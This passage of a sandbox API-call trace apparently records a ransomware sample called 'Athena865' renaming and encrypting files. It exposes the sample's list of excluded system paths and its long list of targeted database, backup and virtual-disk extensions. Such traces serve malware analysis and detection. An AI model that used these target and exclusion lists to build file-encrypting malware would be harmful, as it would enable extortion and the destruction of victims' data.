Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd.athena865"), dwFlags=0x1) returned 1 [0068.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.449] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26027) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0068.450] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.450] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.450] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.450] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.451] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68b0, lpName=0x0) returned 0x154 [0068.452] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68b0) returned 0x100000 [0068.456] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.457] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.457] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.458] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.458] CloseHandle (hObject=0x154) returned 1 [0068.458] CloseHandle (hObject=0x17c) returned 1 [0068.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0068.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.459] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".") returned 1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="..") returned 1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="windows") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="bootmgr") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="temp") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="pagefile.sys") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="boot") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="ids.txt") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="ntuser.dat") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="perflogs") returned -1 [0068.459] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2="MSBuild") returned -1 [0068.459] lstrlenW (lpString="bdcmetadataresource.xsd") returned 23 [0068.459] lstrcpyW (in: lpString1=0x241e89e, lpString2="bdcmetadataresource.xsd" | out: lpString1="bdcmetadataresource.xsd") returned="bdcmetadataresource.xsd" [0068.459] lstrlenW (lpString="bdcmetadataresource.xsd") returned 23 [0068.459] lstrlenW (lpString="Athena865") returned 9 [0068.459] lstrcmpiW (lpString1="ource.xsd", lpString2="Athena865") returned 1 [0068.459] lstrlenW (lpString=".dll") returned 4 [0068.460] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".dll") returned 1 [0068.460] lstrlenW (lpString=".lnk") returned 4 [0068.460] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".lnk") returned 1 [0068.460] lstrlenW (lpString=".ini") returned 4 [0068.460] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".ini") returned 1 [0068.460] lstrlenW (lpString=".sys") returned 4 [0068.460] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".sys") returned 1 [0068.460] lstrlenW (lpString="bdcmetadataresource.xsd") returned 23 [0068.460] lstrlenW (lpString="bak") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="bak") returned 1 [0068.460] lstrlenW (lpString="ba_") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="ba_") returned 1 [0068.460] lstrlenW (lpString="dbb") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="dbb") returned 1 [0068.460] lstrlenW (lpString="vmdk") returned 4 [0068.460] lstrcmpiW (lpString1=".xsd", lpString2="vmdk") returned -1 [0068.460] lstrlenW (lpString="rar") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="rar") returned 1 [0068.460] lstrlenW (lpString="zip") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="zip") returned -1 [0068.460] lstrlenW (lpString="tgz") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="tgz") returned 1 [0068.460] lstrlenW (lpString="vbox") returned 4 [0068.460] lstrcmpiW (lpString1=".xsd", lpString2="vbox") returned -1 [0068.460] lstrlenW (lpString="vdi") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="vdi") returned 1 [0068.460] lstrlenW (lpString="vhd") returned 3 [0068.460] lstrcmpiW (lpString1="xsd", lpString2="vhd") returned 1 [0068.460] lstrlenW (lpString="vhdx") returned 4 [0068.460] lstrcmpiW (lpString1=".xsd", lpString2="vhdx") returned -1 [0068.460] lstrlenW (lpString="avhd") returned 4 [0068.460] lstrcmpiW (lpString1=".xsd", lpString2="avhd") returned -1 [0068.460] lstrlenW (lpString="db") returned 2 [0068.461] lstrcmpiW (lpString1="sd", lpString2="db") returned 1 [0068.461] lstrlenW (lpString="db2") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="db2") returned 1 [0068.461] lstrlenW (lpString="db3") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="db3") returned 1 [0068.461] lstrlenW (lpString="dbf") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="dbf") returned 1 [0068.461] lstrlenW (lpString="mdf") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="mdf") returned 1 [0068.461] lstrlenW (lpString="mdb") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="mdb") returned 1 [0068.461] lstrlenW (lpString="sql") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="sql") returned 1 [0068.461] lstrlenW (lpString="sqlite") returned 6 [0068.461] lstrcmpiW (lpString1="ce.xsd", lpString2="sqlite") returned -1 [0068.461] lstrlenW (lpString="sqlite3") returned 7 [0068.461] lstrcmpiW (lpString1="rce.xsd", lpString2="sqlite3") returned -1 [0068.461] lstrlenW (lpString="sqlitedb") returned 8 [0068.461] lstrcmpiW (lpString1="urce.xsd", lpString2="sqlitedb") returned 1 [0068.461] lstrlenW (lpString="xml") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="xml") returned 1 [0068.461] lstrlenW (lpString="$er") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="$er") returned 1 [0068.461] lstrlenW (lpString="4dd") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="4dd") returned 1 [0068.461] lstrlenW (lpString="4dl") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="4dl") returned 1 [0068.461] lstrlenW (lpString="^^^") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="^^^") returned 1 [0068.461] lstrlenW (lpString="abs") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="abs") returned 1 [0068.461] lstrlenW (lpString="abx") returned 3 [0068.461] lstrcmpiW (lpString1="xsd", lpString2="abx") returned 1 [0068.461] lstrlenW (lpString="accdb") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accdb") returned 1 [0068.462] lstrlenW (lpString="accdc") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accdc") returned 1 [0068.462] lstrlenW (lpString="accde") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accde") returned 1 [0068.462] lstrlenW (lpString="accdr") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accdr") returned 1 [0068.462] lstrlenW (lpString="accdt") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accdt") returned 1 [0068.462] lstrlenW (lpString="accdw") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accdw") returned 1 [0068.462] lstrlenW (lpString="accft") returned 5 [0068.462] lstrcmpiW (lpString1="e.xsd", lpString2="accft") returned 1 [0068.462] lstrlenW (lpString="adb") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1 [0068.462] lstrlenW (lpString="adb") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1 [0068.462] lstrlenW (lpString="ade") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="ade") returned 1 [0068.462] lstrlenW (lpString="adf") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="adf") returned 1 [0068.462] lstrlenW (lpString="adn") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="adn") returned 1 [0068.462] lstrlenW (lpString="adp") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="adp") returned 1 [0068.462] lstrlenW (lpString="alf") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="alf") returned 1 [0068.462] lstrlenW (lpString="ask") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="ask") returned 1 [0068.462] lstrlenW (lpString="btr") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="btr") returned 1 [0068.462] lstrlenW (lpString="cat") returned 3 [0068.462] lstrcmpiW (lpString1="xsd", lpString2="cat") returned 1 [0068.463] lstrlenW (lpString="cdb") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="cdb") returned 1 [0068.463] lstrlenW (lpString="ckp") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="ckp") returned 1 [0068.463] lstrlenW (lpString="cma") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="cma") returned 1 [0068.463] lstrlenW (lpString="cpd") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="cpd") returned 1 [0068.463] lstrlenW (lpString="dacpac") returned 6 [0068.463] lstrcmpiW (lpString1="ce.xsd", lpString2="dacpac") returned -1 [0068.463] lstrlenW (lpString="dad") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dad") returned 1 [0068.463] lstrlenW (lpString="dadiagrams") returned 10 [0068.463] lstrcmpiW (lpString1="source.xsd", lpString2="dadiagrams") returned 1 [0068.463] lstrlenW (lpString="daschema") returned 8 [0068.463] lstrcmpiW (lpString1="urce.xsd", lpString2="daschema") returned 1 [0068.463] lstrlenW (lpString="db-journal") returned 10 [0068.463] lstrcmpiW (lpString1="source.xsd", lpString2="db-journal") returned 1 [0068.463] lstrlenW (lpString="db-shm") returned 6 [0068.463] lstrcmpiW (lpString1="ce.xsd", lpString2="db-shm") returned -1 [0068.463] lstrlenW (lpString="db-wal") returned 6 [0068.463] lstrcmpiW (lpString1="ce.xsd", lpString2="db-wal") returned -1 [0068.463] lstrlenW (lpString="dbc") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dbc") returned 1 [0068.463] lstrlenW (lpString="dbs") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dbs") returned 1 [0068.463] lstrlenW (lpString="dbt") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dbt") returned 1 [0068.463] lstrlenW (lpString="dbv") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dbv") returned 1 [0068.463] lstrlenW (lpString="dbx") returned 3 [0068.463] lstrcmpiW (lpString1="xsd", lpString2="dbx") returned 1 [0068.464] lstrlenW (lpString="dcb") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dcb") returned 1 [0068.464] lstrlenW (lpString="dct") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dct") returned 1 [0068.464] lstrlenW (lpString="dcx") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dcx") returned 1 [0068.464] lstrlenW (lpString="ddl") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="ddl") returned 1 [0068.464] lstrlenW (lpString="dlis") returned 4 [0068.464] lstrcmpiW (lpString1=".xsd", lpString2="dlis") returned -1 [0068.464] lstrlenW (lpString="dp1") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dp1") returned 1 [0068.464] lstrlenW (lpString="dqy") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dqy") returned 1 [0068.464] lstrlenW (lpString="dsk") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dsk") returned 1 [0068.464] lstrlenW (lpString="dsn") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dsn") returned 1 [0068.464] lstrlenW (lpString="dtsx") returned 4 [0068.464] lstrcmpiW (lpString1=".xsd", lpString2="dtsx") returned -1 [0068.464] lstrlenW (lpString="dxl") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="dxl") returned 1 [0068.464] lstrlenW (lpString="eco") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="eco") returned 1 [0068.464] lstrlenW (lpString="ecx") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="ecx") returned 1 [0068.464] lstrlenW (lpString="edb") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="edb") returned 1 [0068.464] lstrlenW (lpString="epim") returned 4 [0068.464] lstrcmpiW (lpString1=".xsd", lpString2="epim") returned -1 [0068.464] lstrlenW (lpString="fcd") returned 3 [0068.464] lstrcmpiW (lpString1="xsd", lpString2="fcd") returned 1 [0068.464] lstrlenW (lpString="fdb") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fdb") returned 1 [0068.465] lstrlenW (lpString="fic") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fic") returned 1 [0068.465] lstrlenW (lpString="flexolibrary") returned 12 [0068.465] lstrcmpiW (lpString1="resource.xsd", lpString2="flexolibrary") returned 1 [0068.465] lstrlenW (lpString="fm5") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fm5") returned 1 [0068.465] lstrlenW (lpString="fmp") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fmp") returned 1 [0068.465] lstrlenW (lpString="fmp12") returned 5 [0068.465] lstrcmpiW (lpString1="e.xsd", lpString2="fmp12") returned -1 [0068.465] lstrlenW (lpString="fmpsl") returned 5 [0068.465] lstrcmpiW (lpString1="e.xsd", lpString2="fmpsl") returned -1 [0068.465] lstrlenW (lpString="fol") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fol") returned 1 [0068.465] lstrlenW (lpString="fp3") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fp3") returned 1 [0068.465] lstrlenW (lpString="fp4") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fp4") returned 1 [0068.465] lstrlenW (lpString="fp5") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fp5") returned 1 [0068.465] lstrlenW (lpString="fp7") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fp7") returned 1 [0068.465] lstrlenW (lpString="fpt") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="fpt") returned 1 [0068.465] lstrlenW (lpString="frm") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="frm") returned 1 [0068.465] lstrlenW (lpString="gdb") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="gdb") returned 1 [0068.465] lstrlenW (lpString="gdb") returned 3 [0068.465] lstrcmpiW (lpString1="xsd", lpString2="gdb") returned 1 [0068.465] lstrlenW (lpString="grdb") returned 4 [0068.465] lstrcmpiW (lpString1=".xsd", lpString2="grdb") returned -1 [0068.465] lstrlenW (lpString="gwi") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="gwi") returned 1 [0068.466] lstrlenW (lpString="hdb") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="hdb") returned 1 [0068.466] lstrlenW (lpString="his") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="his") returned 1 [0068.466] lstrlenW (lpString="ib") returned 2 [0068.466] lstrcmpiW (lpString1="sd", lpString2="ib") returned 1 [0068.466] lstrlenW (lpString="idb") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="idb") returned 1 [0068.466] lstrlenW (lpString="ihx") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="ihx") returned 1 [0068.466] lstrlenW (lpString="itdb") returned 4 [0068.466] lstrcmpiW (lpString1=".xsd", lpString2="itdb") returned -1 [0068.466] lstrlenW (lpString="itw") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="itw") returned 1 [0068.466] lstrlenW (lpString="jet") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="jet") returned 1 [0068.466] lstrlenW (lpString="jtx") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="jtx") returned 1 [0068.466] lstrlenW (lpString="kdb") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="kdb") returned 1 [0068.466] lstrlenW (lpString="kexi") returned 4 [0068.466] lstrcmpiW (lpString1=".xsd", lpString2="kexi") returned -1 [0068.466] lstrlenW (lpString="kexic") returned 5 [0068.466] lstrcmpiW (lpString1="e.xsd", lpString2="kexic") returned -1 [0068.466] lstrlenW (lpString="kexis") returned 5 [0068.466] lstrcmpiW (lpString1="e.xsd", lpString2="kexis") returned -1 [0068.466] lstrlenW (lpString="lgc") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="lgc") returned 1 [0068.466] lstrlenW (lpString="lwx") returned 3 [0068.466] lstrcmpiW (lpString1="xsd", lpString2="lwx") returned 1 [0068.466] lstrlenW (lpString="maf") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="maf") returned 1 [0068.467] lstrlenW (lpString="maq") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="maq") returned 1 [0068.467] lstrlenW (lpString="mar") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mar") returned 1 [0068.467] lstrlenW (lpString="marshal") returned 7 [0068.467] lstrcmpiW (lpString1="rce.xsd", lpString2="marshal") returned 1 [0068.467] lstrlenW (lpString="mas") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mas") returned 1 [0068.467] lstrlenW (lpString="mav") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mav") returned 1 [0068.467] lstrlenW (lpString="maw") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="maw") returned 1 [0068.467] lstrlenW (lpString="mdbhtml") returned 7 [0068.467] lstrcmpiW (lpString1="rce.xsd", lpString2="mdbhtml") returned 1 [0068.467] lstrlenW (lpString="mdn") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mdn") returned 1 [0068.467] lstrlenW (lpString="mdt") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mdt") returned 1 [0068.467] lstrlenW (lpString="mfd") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mfd") returned 1 [0068.467] lstrlenW (lpString="mpd") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mpd") returned 1 [0068.467] lstrlenW (lpString="mrg") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mrg") returned 1 [0068.467] lstrlenW (lpString="mud") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mud") returned 1 [0068.467] lstrlenW (lpString="mwb") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="mwb") returned 1 [0068.467] lstrlenW (lpString="myd") returned 3 [0068.467] lstrcmpiW (lpString1="xsd", lpString2="myd") returned 1 [0068.467] lstrlenW (lpString="ndf") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="ndf") returned 1 [0068.468] lstrlenW (lpString="nnt") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="nnt") returned 1 [0068.468] lstrlenW (lpString="nrmlib") returned 6 [0068.468] lstrcmpiW (lpString1="ce.xsd", lpString2="nrmlib") returned -1 [0068.468] lstrlenW (lpString="ns2") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="ns2") returned 1 [0068.468] lstrlenW (lpString="ns3") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="ns3") returned 1 [0068.468] lstrlenW (lpString="ns4") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="ns4") returned 1 [0068.468] lstrlenW (lpString="nsf") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="nsf") returned 1 [0068.468] lstrlenW (lpString="nv") returned 2 [0068.468] lstrcmpiW (lpString1="sd", lpString2="nv") returned 1 [0068.468] lstrlenW (lpString="nv2") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="nv2") returned 1 [0068.468] lstrlenW (lpString="nwdb") returned 4 [0068.468] lstrcmpiW (lpString1=".xsd", lpString2="nwdb") returned -1 [0068.468] lstrlenW (lpString="nyf") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="nyf") returned 1 [0068.468] lstrlenW (lpString="odb") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="odb") returned 1 [0068.468] lstrlenW (lpString="odb") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="odb") returned 1 [0068.468] lstrlenW (lpString="oqy") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="oqy") returned 1 [0068.468] lstrlenW (lpString="ora") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="ora") returned 1 [0068.468] lstrlenW (lpString="orx") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="orx") returned 1 [0068.468] lstrlenW (lpString="owc") returned 3 [0068.468] lstrcmpiW (lpString1="xsd", lpString2="owc") returned 1 [0068.469] lstrlenW (lpString="p96") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="p96") returned 1 [0068.469] lstrlenW (lpString="p97") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="p97") returned 1 [0068.469] lstrlenW (lpString="pan") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="pan") returned 1 [0068.469] lstrlenW (lpString="pdb") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="pdb") returned 1 [0068.469] lstrlenW (lpString="pdm") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="pdm") returned 1 [0068.469] lstrlenW (lpString="pnz") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="pnz") returned 1 [0068.469] lstrlenW (lpString="qry") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="qry") returned 1 [0068.469] lstrlenW (lpString="qvd") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="qvd") returned 1 [0068.469] lstrlenW (lpString="rbf") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="rbf") returned 1 [0068.469] lstrlenW (lpString="rctd") returned 4 [0068.469] lstrcmpiW (lpString1=".xsd", lpString2="rctd") returned -1 [0068.469] lstrlenW (lpString="rod") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="rod") returned 1 [0068.469] lstrlenW (lpString="rodx") returned 4 [0068.469] lstrcmpiW (lpString1=".xsd", lpString2="rodx") returned -1 [0068.469] lstrlenW (lpString="rpd") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="rpd") returned 1 [0068.469] lstrlenW (lpString="rsd") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="rsd") returned 1 [0068.469] lstrlenW (lpString="sas7bdat") returned 8 [0068.469] lstrcmpiW (lpString1="urce.xsd", lpString2="sas7bdat") returned 1 [0068.469] lstrlenW (lpString="sbf") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="sbf") returned 1 [0068.469] lstrlenW (lpString="scx") returned 3 [0068.469] lstrcmpiW (lpString1="xsd", lpString2="scx") returned 1 [0068.470] lstrlenW (lpString="sdb") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="sdb") returned 1 [0068.470] lstrlenW (lpString="sdc") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="sdc") returned 1 [0068.470] lstrlenW (lpString="sdf") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="sdf") returned 1 [0068.470] lstrlenW (lpString="sis") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="sis") returned 1 [0068.470] lstrlenW (lpString="spq") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="spq") returned 1 [0068.470] lstrlenW (lpString="te") returned 2 [0068.470] lstrcmpiW (lpString1="sd", lpString2="te") returned -1 [0068.470] lstrlenW (lpString="teacher") returned 7 [0068.470] lstrcmpiW (lpString1="rce.xsd", lpString2="teacher") returned -1 [0068.470] lstrlenW (lpString="tmd") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="tmd") returned 1 [0068.470] lstrlenW (lpString="tps") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="tps") returned 1 [0068.470] lstrlenW (lpString="trc") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="trc") returned 1 [0068.470] lstrlenW (lpString="trc") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="trc") returned 1 [0068.470] lstrlenW (lpString="trm") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="trm") returned 1 [0068.470] lstrlenW (lpString="udb") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="udb") returned 1 [0068.470] lstrlenW (lpString="udl") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="udl") returned 1 [0068.470] lstrlenW (lpString="usr") returned 3 [0068.470] lstrcmpiW (lpString1="xsd", lpString2="usr") returned 1 [0068.470] lstrlenW (lpString="v12") returned 3 [0068.471] lstrcmpiW (lpString1="xsd", lpString2="v12") returned 1 [0068.471] 